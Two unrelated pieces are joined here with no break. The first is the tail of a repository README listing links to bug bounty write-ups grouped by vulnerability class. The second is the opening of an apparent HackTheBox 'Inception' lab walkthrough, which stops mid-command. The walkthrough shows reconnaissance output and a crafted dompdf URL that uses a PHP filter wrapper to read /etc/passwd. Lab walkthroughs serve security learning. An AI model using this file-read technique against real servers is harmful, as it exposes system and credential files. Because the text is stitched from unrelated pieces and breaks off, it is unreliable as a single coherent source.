subdomain takeover](https://blog.securitybreached.org/2017/11/20/uber-wildcard-subdomain-takeover) - [Bugcrowd domain subdomain takeover vulnerability ](https://blog.securitybreached.org/2017/10/10/bugcrowds-domain-subdomain-takeover-vulnerability) - [Subdomain takeover vulnerability (Lamborghini Hacked)](https://blog.securitybreached.org/2017/10/10/subdomain-takeover-lamborghini-hacked/) - [Authentication bypass on uber's SSO via subdomain takeover](https://www.arneswinnen.net/2017/06/authentication-bypass-on-ubers-sso-via-subdomain-takeover/) - [Authentication bypass on SSO ubnt.com via Subdomain takeover of ping.ubnt.com](https://www.arneswinnen.net/2016/11/authentication-bypass-on-sso-ubnt-com-via-subdomain-takeover-of-ping-ubnt-com/) ## Denial of Service (DOS) - [Long String DOS](https://medium.com/@shahjerry33/long-string-dos-6ba8ceab3aa0) - [AIRDOS](https://kishanbagaria.com/airdos/) - [Denial of Service DOS vulnerability in script loader (CVE-2018-6389)](https://www.pankajinfosec.com/post/700-denial-of-service-dos-vulnerability-in-script-loader-php-cve-2018-6389) - [Github actions DOS](https://blog.teddykatz.com/2019/11/12/github-actions-dos.html) - [Application level denial of service](https://evanricafort.blogspot.com/2019/08/application-level-denial-of-service-dos.html) - [Banner grabbing to DOS and memory corruption](https://medium.com/bugbountywriteup/banner-grabbing-to-dos-and-memory-corruption-2442b1c25bbb) - [DOS across Facebook endpoints](https://medium.com/@maxpasqua/dos-across-facebook-endpoints-1d7d0bc27c7f) - [DOS on WAF protected sites](https://www.hackerinside.me/2019/02/dos-on-waf-protected-sites-by-abusing.html) - [DOS on Facebook android app using zero width no break characters ](https://medium.com/@kankrale.rahul/dos-on-facebook-android-app-using-65530-characters-of-zero-width-no-break-space-db41ca8ded89) - [Whatsapp DOS vulnerability on android and iOS](https://medium.com/@pratheesh.p.narayanan/whatsapp-dos-vulnerability-on-android-ios-web-7628077d21d4) - [Whatsapp DOS vulnerability in iOS android](https://medium.com/bugbountywriteup/whatsapp-dos-vulnerability-in-ios-android-d896f76d3253) ## Authentication Bypass - [Touch ID authentication Bypass on evernote and dropbox iOS apps](https://medium.com/@pig.wig45/touch-id-authentication-bypass-on-evernote-and-dropbox-ios-apps-7985219767b2) - [Oauth authentication bypass on airbnb acquistion using wierd 1 char open redirect](https://xpoc.pro/oauth-authentication-bypass-on-airbnb-acquisition-using-weird-1-char-open-redirect/) - [Two factor authentication bypass](https://gauravnarwani.com/two-factor-authentication-bypass/) - [Instagram multi factor authentication bypass](https://medium.com/@vishnu0002/instagram-multi-factor-authentication-bypass-924d963325a1) - [Authentication bypass in nodejs application](https://medium.com/@_bl4de/authentication-bypass-in-nodejs-application-a-bug-bounty-story-d34960256402) - [Symantec authentication Bypass](https://artkond.com/2018/10/10/symantec-authentication-bypass/) - [Authentication bypass in CISCO meraki](https://blog.takemyhand.xyz/2018/06/authentication-bypass-in-cisco-meraki.html) - [Slack SAML authentocation bypass](https://blog.intothesymmetry.com/2017/10/slack-saml-authentication-bypass.html) - [Authentication bypass on UBER's SSO](https://www.arneswinnen.net/2017/06/authentication-bypass-on-ubers-sso-via-subdomain-takeover/) - [Authentication Bypass on airbnb via oauth tokens theft](https://www.arneswinnen.net/2017/06/authentication-bypass-on-airbnb-via-oauth-tokens-theft/) - [Inspect element leads to stripe account lockout authentication Bypass](https://www.jonbottarini.com/2017/04/03/inspect-element-leads-to-stripe-account-lockout-authentication-bypass/) - [Authentication bypass on SSO ubnt.com](https://www.arneswinnen.net/2016/11/authentication-bypass-on-sso-ubnt-com-via-subdomain-takeover-of-ping-ubnt-com/) ## SQL Injection(SQLI) - [Tricky oracle SQLI situation](https://blog.yappare.com/2020/04/tricky-oracle-sql-injection-situation.html) - [Exploiting “Google BigQuery” SQLI](https://hackemall.live/index.php/2020/03/31/akamai-web-application-firewall-bypass-journey-exploiting-google-bigquery-sql-injection-vulnerability/) - [SQLI via stopping the redirection to a login page](https://medium.com/@St00rm/sql-injection-via-stopping-the-redirection-to-a-login-page-52b0792d5592) - [Finding SQLI with white box analysis a recent bug example](https://medium.com/@frycos/finding-sql-injections-fast-with-white-box-analysis-a-recent-bug-example-ca449bce6c76) - [Bypassing a crappy WAF to exploit a blind SQLI](https://robinverton.de/blog/2019/08/25/bug-bounty-bypassing-a-crappy-waf-to-exploit-a-blind-sql-injection/) - [SQL Injection in private-site.com/login.php](https://www.mohamedharon.com/2019/07/sql-injection-in-private-sitecomloginphp.html) - [Exploiting tricky blind SQLI](https://www.noob.ninja/2019/07/exploiting-tricky-blind-sql-injection.html) - [SQLI in forget password fucntion](https://medium.com/@kgaber99/sql-injection-in-forget-password-function-3c945512e3cb) - [SQLI Bug Bounty](https://medium.com/@ariffadhlullah2310/sql-injection-bug-bounty-110e92e71ec3) - [File Upload blind SQLI](https://jspin.re/fileupload-blind-sqli/) - [SQL Injection](https://medium.com/@saadahmedx/sql-injection-c87a390afdd3) - [SQLI through User Agent](https://medium.com/@frostnull1337/sql-injection-through-user-agent-44a1150f6888) - [SQLI in insert update query without comma](https://blog.redforce.io/sql-injection-in-insert-update-query-without-comma/) - [SQLI for 50 bounty](https://medium.com/@orthonviper/sql-injection-for-50-bounty-but-still-worth-reading-468442c1cc1a) - [Abusing MYSQL CLients](https://www.vesiluoma.com/abusing-mysql-clients/) - [SQLI Authentication Bypass AutoTrader Webmail](https://blog.securitybreached.org/2018/09/10/sqli-login-bypass-autotraders/) - [ZOL Zimbabwe Authentication Bypass to XSS & SQLi](https://blog.securitybreached.org/2018/09/09/zol-zimbabwe-authbypass-sqli-xss/) - [SQLI bootcamp.nutanix.com](https://blog.securitybreached.org/2018/09/08/sqli-bootcampnutanix-com-bug-bounty-poc/) - [SQLI in University of Cambridge](https://medium.com/@adeshkolte/sql-injection-vulnerability-in-university-of-cambridge-b4c8d0381e1) - [Making a blind SQLI a little less Blind SQLI](https://medium.com/@tomnomnom/making-a-blind-sql-injection-a-little-less-blind-428dcb614ba8) - [SQLI amd silly WAF](https://mahmoudsec.blogspot.com/2018/07/sql-injection-and-silly-waf.html) - [Attacking Postgresql Database](https://medium.com/@vishnu0002/attacking-postgresql-database-834a9a3471bc) - [Bypassing Host Header to SQL injection to dumping Database — An unusual case of SQL injection](https://medium.com/@logicbomb_1/bugbounty-database-hacked-of-indias-popular-sports-company-bypassing-host-header-to-sql-7b9af997c610) - [A 5 minute SQLI](https://medium.com/bugbountywriteup/a-five-minute-sql-i-16ab75b20fe4) - [Union based SQLI writeup](https://medium.com/@nuraalamdipu/union-based-sql-injection-write-up-a-private-company-site-273f89a49ed9) - [SQLI with load file and into outfile](https://medium.com/bugbountywriteup/sql-injection-with-load-file-and-into-outfile-c62f7d92c4e2) - [SQLI is Everywhere](https://medium.com/@agrawalsmart7/sql-is-every-where-5cba6ae9480a) - [SQLI in Update Query Bug](https://zombiehelp54.blogspot.com/2017/02/sql-injection-in-update-query-bug.html) - [Blind SQLI Hootsuite](https://ahussam.me/Blind-sqli-Hootsuite/) - [Yahoo – Root Access SQLI – tw.yahoo.com](https://buer.haus/2015/01/15/yahoo-root-access-sql-injection-tw-yahoo-com/) - [Step by Step Exploiting SQLI in Oculus](https://josipfranjkovic.blogspot.com/2014/09/step-by-step-exploiting-sql-injection.html) - [Magix Bug Bounty: magix.com (RCE, SQLi) and xara.com (LFI, XSS)](https://www.rcesecurity.com/2014/04/magix-bug-bounty-magix-com-rce-sqli-and-xara-com-lfi-xss/) - [Tesla Motors blind SQLI](https://bitquark.co.uk/blog/2014/02/23/tesla_motors_blind_sql_injection) - [SQLI in Nokia Sites](https://josipfranjkovic.blogspot.com/2013/07/sql-injections-in-nokia-sites.html) ## Insecure Direct Object Reference (IDOR) - [Disclose Private Dashboard Chart's name and data in Facebook Analytics](https://bugreader.com/jubabaghdad@disclose-private-dashboard-charts-name-and-data-in-facebook-analytics-184) - [Disclosing privately shared gaming clips of any user](https://bugreader.com/rony@disclosing-privately-shared-gaming-clips-of-any-user-128) - [Adding anyone including non-friend and blocked people as co-host in personal event!](https://bugreader.com/binit@adding-anyone-including-non-friend-and-blocked-people-as-co-host-in-personal-event-181) - [Page analyst could view job application details](https://bugreader.com/rony@page-analyst-could-view-job-application-details-213) - [Deleting Anyone's Video Poll](https://bugreader.com/testgrounds@deleting-anyones-video-poll-175) ## 2FA related issues - [2FA Bypass via logical rate limiting Bypass](https://medium.com/@jeppe.b.weikop/2fa-bypass-via-logical-rate-limiting-bypass-25ae2a4e1835) - [Bypass 2FA in a website](https://medium.com/sourav-sahana/bypass-2fa-in-a-website-d616eaead1e3) - [Weird and simple 2FA bypass](https://medium.com/@ultranoob/weird-and-simple-2fa-bypass-without-any-test-b869e09ac261) - [How I cracked 2FA with simple factor bruteforce](https://medium.com/clouddevops/bugbounty-how-i-cracked-2fa-two-factor-authentication-with-simple-factor-brute-force-a1c0f3a2f1b4) - [Instagram account is reactivated without entering 2FA](https://bugbountypoc.com/instagram-account-is-reactivated-without-entering-2fa/) - [How to bypass 2FA with a HTTP header](https://medium.com/@YumiSec/how-to-bypass-a-2fa-with-a-http-header-ce82f7927893) - [How I hacked 40k user accounts of microsoft using 2FA bypass outlook](https://medium.com/@goyalvartul/how-i-hacked-40-000-user-accounts-of-microsoft-using-2fa-bypass-outlook-live-com-13258785ec2f) - [How I abused 2FA to maintain persistence after password recovery change google microsoft instragram](https://medium.com/@lukeberner/how-i-abused-2fa-to-maintain-persistence-after-a-password-change-google-microsoft-instagram-7e3f455b71a1) - [Bypass hackerone 2FA ](https://medium.com/japzdivino/bypass-hackerone-2fa-requirement-and-reporter-blacklist-46d7959f1ee5) - [Facebook Bug bounty : How I was able to enumerate instagram accounts who had enabled 2FA](https://medium.com/@zk34911/facebook-bug-bounty-how-i-was-able-to-enumerate-instagram-accounts-who-had-enabled-2fa-two-step-fddba9e9741c) ## CORS related issues - [CORS bug on google's 404 page (rewarded)](https://medium.com/@jayateerthag/cors-bug-on-googles-404-page-rewarded-2163d58d3c8b) - [CORS misconfiguration leading to private information disclosure](https://medium.com/@sasaxxx777/cors-misconfiguration-leading-to-private-information-disclosure-3034cfcb4b93) - [CORS misconfiguration account takeover out of scope to grab items in scope](https://medium.com/@mashoud1122/cors-misconfiguration-account-takeover-out-of-scope-to-grab-items-in-scope-66d9d18c7a46) - [Chrome CORS](https://blog.bi.tk/chrome-cors/) - [Bypassing CORS](https://medium.com/@saadahmedx/bypassing-cors-13e46987a45b) - [CORS to CSRF attack](https://medium.com/@osamaavvan/cors-to-csrf-attack-c33a595d441) - [An unexploited CORS misconfiguration reflecting further issues](https://smaranchand.com.np/2019/05/an-unexploited-cors-misconfiguration-reflecting-further-issues/) - [Think outside the scope advanced cors exploitation techniques](https://medium.com/@sandh0t/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397) - [A simple CORS misconfiguration leaked private post of twitter facebook instagram](https://medium.com/@nahoragg/a-simple-cors-misconfig-leaked-private-post-of-twitter-facebook-instagram-5f1a634feb9d) - [Explpoiting CORS misconfiguration](https://bugbaba.blogspot.com/2018/02/exploiting-cors-miss-configuration.html) - [Full account takeover through CORS with connection sockets](https://medium.com/@saamux/full-account-takeover-through-cors-with-connection-sockets-179133384815) - [Exploiting insecure CORS API api.artsy.net](https://blog.securitybreached.org/2017/10/10/exploiting-insecure-cross-origin-resource-sharing-cors-api-artsy-net) - [Pre domain wildcard CORS exploitation](https://medium.com/bugbountywriteup/pre-domain-wildcard-cors-exploitation-2d6ac1d4bd30) - [Exploiting misconfigured CORS on popular BTC site](https://medium.com/@arbazhussain/exploiting-misconfigured-cors-on-popular-btc-site-2aedfff906f6) - [Abusing CORS for an XSS on flickr](https://whitton.io/articles/abusing-cors-for-an-xss-on-flickr/) ## Server Side Request Forgery (SSRF) - [Exploiting an SSRF trials and tribulations](https://medium.com/a-bugz-life/exploiting-an-ssrf-trials-and-tribulations-14c5d8dbd69a) - [SSRF on PDF generator](https://medium.com/@michan001/ssrf-on-pdf-generator-36b81e16d67b) - [Google VRP SSRF in Google cloud platform stackdriver](https://ngailong.wordpress.com/2019/12/19/google-vrp-ssrf-in-google-cloud-platform-stackdriver/) - [Vimeo upload function SSRF](https://medium.com/@dPhoeniixx/vimeo-upload-function-ssrf-7466d8630437) - [SSRF via ffmeg processing](https://medium.com/@pflash0x0punk/ssrf-via-ffmpeg-hls-processing-a04e0288a8c5) - [My first SSRF using DNS rebinding](https://geleta.eu/2019/my-first-ssrf-using-dns-rebinfing/) - [Bugbounty simple SSRF](https://jin0ne.blogspot.com/2019/11/bugbounty-simple-ssrf.html) - [SSRF reading local files from downnotifier server](https://www.openbugbounty.org/blog/leonmugen/ssrf-reading-local-files-from-downnotifier-server/) - [SSRF vulnerability](https://evanricafort.blogspot.com/2019/08/ssrf-vulnerability-in.html) - [Gain adfly SMTP access with SSRF via gopher protocol](https://medium.com/@androgaming1912/gain-adfly-smtp-access-with-ssrf-via-gopher-protocol-26a26d0ec2cb) - [Blind SSRF in stripe.com due to senntry misconfiguration](https://medium.com/@0ktavandi/blind-ssrf-in-stripe-com-due-to-sentry-misconfiguration-60ebb6a40b5) - [SSRF port issue hidden approch](https://medium.com/@w_hat_boy/server-side-request-forgery-ssrf-port-issue-hidden-approch-f4e67bd8cc86) - [The jorney of web cache firewall bypass to SSRF to AWS credentials compromise](https://medium.com/@logicbomb_1/the-journey-of-web-cache-firewall-bypass-to-ssrf-to-aws-credentials-compromise-b250fb40af82) - [SSRF to local file read and abusing aws metadata](https://medium.com/@pratiky054/ssrf-to-read-local-files-and-abusing-the-aws-metadata-8621a4bf382) - [pdfreactor SSRF to root level local files read which lead to RCE](https://medium.com/@armaanpathan/pdfreacter-ssrf-to-root-level-local-file-read-which-led-to-rce-eb460ffb3129) - [SSRF trick : SSRF XSPA in micosoft's bing webwaster](https://medium.com/@elberandre/ssrf-trick-ssrf-xspa-in-microsofts-bing-webmaster-central-8015b5d487fb) - [Downnotifeer SSRF](https://m-q-t.github.io/notes/downnotifer-ssrf/) - [Escalating SSRF to RCE](https://medium.com/cesppa/escalating-ssrf-to-rce-f28c482eb8b9) - [Vimeo SSRF with code execution potential](https://medium.com/@rootxharsh_90844/vimeo-ssrf-with-code-execution-potential-68c774ba7c1e) - [SSRF in slack](https://medium.com/@elberandre/1-000-ssrf-in-slack-7737935d3884) - [Exploiting SSRF like a boss](https://medium.com/@zain.sabahat/exploiting-ssrf-like-a-boss-c090dc63d326) - [AWS takeover SSRF javascript](http://10degres.net/aws-takeover-ssrf-javascript/) - [Into the borg of SSRF inside google production network](https://opnsec.com/2018/07/into-the-borg-ssrf-inside-google-production-network/) - [SSRF to local file disclosure](https://medium.com/@tungpun/from-ssrf-to-local-file-disclosure-58962cdc589f) - [How I found an SSRF in yahoo guesthouse (recon wins)](https://medium.com/@th3g3nt3l/how-i-found-an-ssrf-in-yahoo-guesthouse-recon-wins-8722672e41d4) - [Reading internal files using SSRF vulnerability](https://medium.com/@neerajedwards/reading-internal-files-using-ssrf-vulnerability-703c5706eefb) - [Airbnb chaining third party open redirect into SSRF via liveperson chat](https://buer.haus/2017/03/09/airbnb-chaining-third-party-open-redirect-into-server-side-request-forgery-ssrf-via-liveperson-chat/) ## Race Condition - [Exploiting a Race condition vulnerabililty](https://medium.com/@vincenz/exploiting-a-race-condition-vulnerability-3f2cb387a72) - [Race condition that could result to RCE a story with an app](https://medium.com/bugbountywriteup/race-condition-that-could-result-to-rce-a-story-with-an-app-that-temporary-stored-an-uploaded-9a4065368ba3) - [Creating thinking is our everything : Race condition and business logic](https://medium.com/@04sabsas/bugbounty-writeup-creative-thinking-is-our-everything-race-condition-business-logic-error-2f3e82b9aa17) - [Chaining improper authorization to Race condition to harvest credit card details](https://medium.com/@ciph3r7r0ll/chaining-improper-authorization-to-race-condition-to-harvest-credit-card-details-a-bug-bounty-effe6e0f5076) - [A Race condition bug in Facebook chat groups](https://www.seekurity.com/blog/general/the-fuzz-the-bug-the-action-a-race-condition-bug-in-facebook-chat-groups-leads-to-spy-on-conversations/) - [Race condition bypassing team limit](https://medium.com/@arbazhussain/race-condition-bypassing-team-limit-b162e777ca3b) - [Race condition on web](https://www.josipfranjkovic.com/blog/race-conditions-on-web) - [Race condition bugs on Facebook](https://josipfranjkovic.blogspot.com/2015/04/race-conditions-on-facebook.html) - [Hacking Banks With Race Conditions](https://medium.com/swlh/hacking-banks-with-race-conditions-2f8d55b45a4b) - [Race Condition Bug In Web App: A Use Case](https://medium.com/@ciph3r7r0ll/race-condition-bug-in-web-app-a-use-case-21fd4df71f0e) - [RACE Condition vulnerability found in bug-bounty program](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) - [How to check Race Conditions in Web Applications](https://medium.com/@valeriyshevchenko/how-to-check-race-conditions-in-web-applications-338f73937992) ## Remote Code Execution (RCE) - [Microsoft RCE bugbounty](https://blog.securitybreached.org/2020/03/31/microsoft-rce-bugbounty/) - [OTP bruteforce account takeover](https://medium.com/@ranjitsinghnit/otp-bruteforce-account-takeover-faaac3d712a8) - [Attacking helpdesk RCE chain on deskpro with bitdefender](https://blog.redforce.io/attacking-helpdesks-part-1-rce-chain-on-deskpro-with-bitdefender-as-case-study/) - [Remote image upload leads to RCE inject malicious code](https://medium.com/@asdqwedev/remote-image-upload-leads-to-rce-inject-malicious-code-to-php-gd-image-90e1e8b2aada) - [Finding a p1 in one minute with shodan.io RCE](https://medium.com/@sw33tlie/finding-a-p1-in-one-minute-with-shodan-io-rce-735e08123f52) - [From recon to optimizing RCE results simple story with one of the biggest ICT company](https://medium.com/bugbountywriteup/from-recon-to-optimizing-rce-results-simple-story-with-one-of-the-biggest-ict-company-in-the-ea710bca487a) - [Uploading backdoor for fun and profit RCE DB creds P1](https://medium.com/@mohdaltaf163/uploading-backdoor-for-fun-and-profit-rce-db-cred-p1-2cdaa00e2125) - [Responsible Disclosure breaking out of a sandboxed editor to perform RCE](https://jatindhankhar.in/blog/responsible-disclosure-breaking-out-of-a-sandboxed-editor-to-perform-rce/) - [Wordpress design flaw leads to woocommerce RCE](https://blog.ripstech.com/2018/wordpress-design-flaw-leads-to-woocommerce-rce/) - [Path traversal while uploading results in RCE](https://blog.harshjaiswal.com/path-traversal-while-uploading-results-in-rce) - [RCE jenkins instance](https://blog.securitybreached.org/2018/09/07/rce-jenkins-instance-dosomething-org-bug-bounty-poc/) - [Traversing the path to RCE](https://hawkinsecurity.com/2018/08/27/traversing-the-path-to-rce/) - [How I chained 4 bugs features into RCE on amazon](http://blog.orange.tw/2018/08/how-i-chained-4-bugs-features-into-rce-on-amazon.html) - [RCE due to showexceptions](https://sites.google.com/view/harshjaiswalblog/rce-due-to-showexceptions) - [Yahoo luminate RCE](https://sites.google.com/securifyinc.com/secblogs/yahoo-luminate-rce) - [Latex to RCE private bug bounty program](https://medium.com/bugbountywriteup/latex-to-rce-private-bug-bounty-program-6a0b5b33d26a) - [How I got hall of fame in two fortune 500 companies an RCE story](https://medium.com/@emenalf/how-i-got-hall-of-fame-in-two-fortune-500-companies-an-rce-story-9c89cead81ff) - [RCE by uploading a web config](https://poc-server.com/blog/2018/05/22/rce-by-uploading-a-web-config/) - [36k Google app engine RCE](https://sites.google.com/site/testsitehacking/-36k-google-app-engine-rce) - [How I found 2.9 RCE at yahoo](https://medium.com/@kedrisec/how-i-found-2-9-rce-at-yahoo-bug-bounty-program-20ab50dbfac7) - [Bypass firewall to get RCE](https://medium.com/@logicbomb_1/bugbounty-how-i-was-able-to-bypass-firewall-to-get-rce-and-then-went-from-server-shell-to-get-783f71131b94) - [RCE vulnerabilite in yahoo subdomain](https://www.mohamedharon.com/2018/01/rce-vulnerabilite-in-yahoo-subdomain.html) - [RCE in duolingos tinycards app from android](https://wwws.nightwatchcybersecurity.com/2018/01/04/rce-in-duolingos-tinycards-app-for-android-cve-2017-16905/) - [Unrestricted file upload to RCE](https://blog.securitybreached.org/2017/12/19/unrestricted-file-upload-to-rce-bug-bounty-poc/) - [Getting a RCE (CTF WAY)](https://medium.com/@uranium238/getting-a-rce-ctf-way-2fd612fb643f) - [RCE starwars](https://blog.zsec.uk/rce-starwars/) - [How I got 5500 from yahoo for RCE](https://medium.com/bugbountywriteup/how-i-got-5500-from-yahoo-for-rce-92fffb7145e6) - [RCE in Addthis](https://whitehatnepal.tumblr.com/post/149933960267/rce-in-addthis) - [Paypal RCE](https://artsploit.blogspot.com/2016/01/paypal-rce.html) - [My First RCE (Stressed Employee gets me 2x bounty)](https://medium.com/@abhishake100/my-first-rce-stressed-employee-gets-me-2x-bounty-c4879c277e37) - [Abusing ImageMagick to obtain RCE](https://strynx.org/imagemagick-rce/) - [How Snapdeal Kept their Users Data at Risk!](https://medium.com/@nanda_kumar/bugbounty-how-snapdeal-indias-popular-e-commerce-website-kept-their-user-data-at-risk-3d02b4092d9c) - [RCE via ImageTragick](https://rezo.blog/hacking/2019/11/29/rce-via-imagetragick.html) - [How I Cracked 2FA with Simple Factor Brute-force!](https://medium.com/clouddevops/bugbounty-how-i-cracked-2fa-two-factor-authentication-with-simple-factor-brute-force-a1c0f3a2f1b4) - [Found RCE but got Duplicated](https://medium.com/@smilehackerofficial/how-i-found-rce-but-got-duplicated-ea7b8b010990) - [“Recon” helped Samsung protect their production repositories of SamsungTv, eCommerce eStores](https://blog.usejournal.com/how-recon-helped-samsung-protect-their-production-repositories-of-samsungtv-ecommerce-estores-4c51d6ec4fdd) - [IDOR to RCE](https://www.rahulr.in/2019/10/idor-to-rce.html?m=1) - [RCE on AEM instance without JAVA knowledge](https://medium.com/@byq/how-to-get-rce-on-aem-instance-without-java-knowledge-a995ceab0a83) - [RCE with Flask Jinja tempelate Injection](https://medium.com/@akshukatkar/rce-with-flask-jinja-template-injection-ea5d0201b870) - [Race Condition that could result to RCE](https://medium.com/bugbountywriteup/race-condition-that-could-result-to-rce-a-story-with-an-app-that-temporary-stored-an-uploaded-9a4065368ba3) - [Chaining Two 0-Days to Compromise An Uber Wordpress](https://www.rcesecurity.com/2019/09/H1-4420-From-Quiz-to-Admin-Chaining-Two-0-Days-to-Compromise-an-Uber-Wordpress/) - [Oculus Identity Verification bypass through Brute Force](https://medium.com/@karthiksoft007/oculus-identity-verification-bypass-through-brute-force-dbd0c0d3c37e) - [Used RCE as Root on marathon Instance](https://omespino.com/write-up-private-bug-bounty-usd-rce-as-root-on-marathon-instance/) - [Two easy RCE in Atlassian Products](https://medium.com/@valeriyshevchenko/two-easy-rce-in-atlassian-products-e8480eacdc7f) - [RCE in Ruby using mustache templates](https://rhys.io/post/rce-in-ruby-using-mustache-templates) - [About a Sucuri RCE…and How Not to Handle Bug Bounty Reports](https://www.rcesecurity.com/2019/06/about-a-sucuri-rce-and-how-not-to-handle-bug-bounty-reports/) - [Source code disclosure vulnerability](https://medium.com/@mohamedrserwah/source-code-disclose-vulnerability-b9e49584e2d2) - [Bypassing custom Token Authentication in a Mobile App](https://medium.com/@dortz/how-did-i-bypass-a-custom-brute-force-protection-and-why-that-solution-is-not-a-good-idea-4bec705004f9) - [Facebook’s Burglary Shopping List](https://www.7elements.co.uk/resources/blog/facebooks-burglary-shopping-list/) - [From SSRF To RCE in PDFReacter](https://medium.com/@armaanpathan/pdfreacter-ssrf-to-root-level-local-file-read-which-led-to-rce-eb460ffb3129) - [Apache strust RCE](https://www.mohamedharon.com/2019/04/apache-strust-rce.html) - [Dell KACE K1000 Remote Code Execution](https://www.rcesecurity.com/2019/04/dell-kace-k1000-remote-code-execution-the-story-of-bug-k1-18652/) - [Handlebars Tempelate Injection and RCE](https://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html) - [Leaked Salesforce API access token at IKEA.com](https://medium.com/@jonathanbouman/leaked-salesforce-api-access-token-at-ikea-com-132eea3844e0) - [Zero Day RCE on Mozilla's AWS Network](https://blog.assetnote.io/bug-bounty/2019/03/19/rce-on-mozilla-zero-day-webpagetest/) - [Escalating SSRF to RCE](https://medium.com/cesppa/escalating-ssrf-to-rce-f28c482eb8b9) - [Fixed : Brute-force Instagram account’s passwords](https://medium.com/@addictrao20/fixed-brute-force-instagram-accounts-passwords-938471b6e9d4) - [Bug Bounty 101 — Always Check The Source Code](https://medium.com/@spazzyy/bug-bounty-101-always-check-the-source-code-1adaf3f59567) - [ASUS RCE vulnerability on rma.asus-europe.eu](https://mustafakemalcan.com/asus-rce-vulnerability-on-rma-asus-europe-eu/) - [Magento – RCE & Local File Read with low privilege admin rights](https://blog.scrt.ch/2019/01/24/magento-rce-local-file-read-with-low-privilege-admin-rights/) - [RCE in Nokia.com](https://medium.com/@sampanna/rce-in-nokia-com-59b308e4e882) - [Two RCE in SharePoint](https://soroush.secproject.com/blog/2018/12/story-of-two-published-rces-in-sharepoint-workflows/) - [Token Brute-Force to Account Take-over to Privilege Escalation to Organization Take-Over](https://medium.com/bugbountywriteup/token-brute-force-to-account-take-over-to-privilege-escalation-to-organization-take-over-650d14c7ce7f) - [RCE in Hubspot with EL injection in HubL](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html) - [Github Desktop RCE](https://pwning.re/2018/12/04/github-desktop-rce/) - [eBay Source Code leak](https://slashcrypto.org/2018/11/28/eBay-source-code-leak/) - [Facebook source code disclosure in ads API](https://www.amolbaikar.com/facebook-source-code-disclosure-in-ads-api/) - [XS-Searching Google’s bug tracker to find out vulnerable source code](https://medium.com/@luanherrera/xs-searching-googles-bug-tracker-to-find-out-vulnerable-source-code-50d8135b7549) ## Buffer Overflow Writeups - [Buffer Overflow Attack Book pdf](http://www.cis.syr.edu/~wedu/seed/Book/book_sample_buffer.pdf) - [Github Repository on Buffer Overflow Attack](https://github.com/npapernot/buffer-overflow-attack) - [Stack-Based Buffer Overflow Attacks: Explained and Examples](https://blog.rapid7.com/2019/02/19/stack-based-buffer-overflow-attacks-what-you-need-to-know/) - [How Buffer Overflow Attacks Work](https://www.netsparker.com/blog/web-security/buffer-overflow-attacks/) - [Binary Exploitation: Buffer Overflows](https://blog.usejournal.com/binary-exploitation-buffer-overflows-a9dc63e8b546) - [WHAT IS A BUFFER OVERFLOW? LEARN ABOUT BUFFER OVERRUN VULNERABILITIES, EXPLOITS & ATTACKS](https://www.veracode.com/security/buffer-overflow) ## Android Pentesting - [Android Pentesting Lab (Step by Step guide for beginners!)](https://medium.com/bugbountywriteup/android-pentesting-lab-4a6fe1a1d2e0) ## Contributing - Open Pull Requests - Send me links of writeups to My Twitter : [0xAsm0d3us](https://twitter.com/0xAsm0d3us) ## Maintainers `This Repo is maintained by : ` - [devanshbatham](https://github.com/devanshbatham) - [e13v3n-0xb](https://github.com/e13v3n-0xb)
# Inception #### 10.10.10.67 ###### Dotaplayer365 Nmap ``` PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-title: Inception 3128/tcp open http-proxy Squid http proxy 3.5.12 |_http-server-header: squid/3.5.12 ``` We have a webserver which has some template. The dude tried to be smart by adding a lot of spaces to add a note, luckily i use curl for first stage enum I find something like this ``` root@kali:~/hackthebox/Machines/Inception# curl http://inception.htb <!DOCTYPE HTML> <!-- Eventually by HTML5 UP .. .. .. <!-- Todo: test dompdf on php 7.x --> ``` If he wants to test dompdf, there has gotta be a dompdf folder right ??!! Hell yeah there is <kbd><img src="https://github.com/jakobgoerke/HTB-Writeups/blob/master/Inception/Images/dompdf.PNG"></kbd> What do we do when we find some webapp ? Yeah! we searchsploit it and hope we hit the motherlode. For that we need the version. Its 0.6.0 ```root@kali:~/hackthebox/Machines/Inception# searchsploit dompdf``` | Exploit Title | Path | |:-------------------------: |:-------------------------: | |TYPO3 ke DomPDF Extension - Remote Code Execution | php/webapps/35443.txt | |dompdf 0.6.0 - 'dompdf.php' 'read' Parameter Arbitrary File Read | php/webapps/33004.txt | |dompdf 0.6.0 beta1 - Remote File Inclusion | php/webapps/14851.txt | Feelsgoodman We use the **33004.txt** and we craft a weburl which would look like this ``` http://10.10.10.67/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/etc/passwd ``` This url should give us a pdf file which would have a base64 encoded /etc/passwd file Lets try It does give us a pdf, and after simply catting the pdf we can see the base64 ``` root@kali:~/hackthebox/Machines/Inception# echo 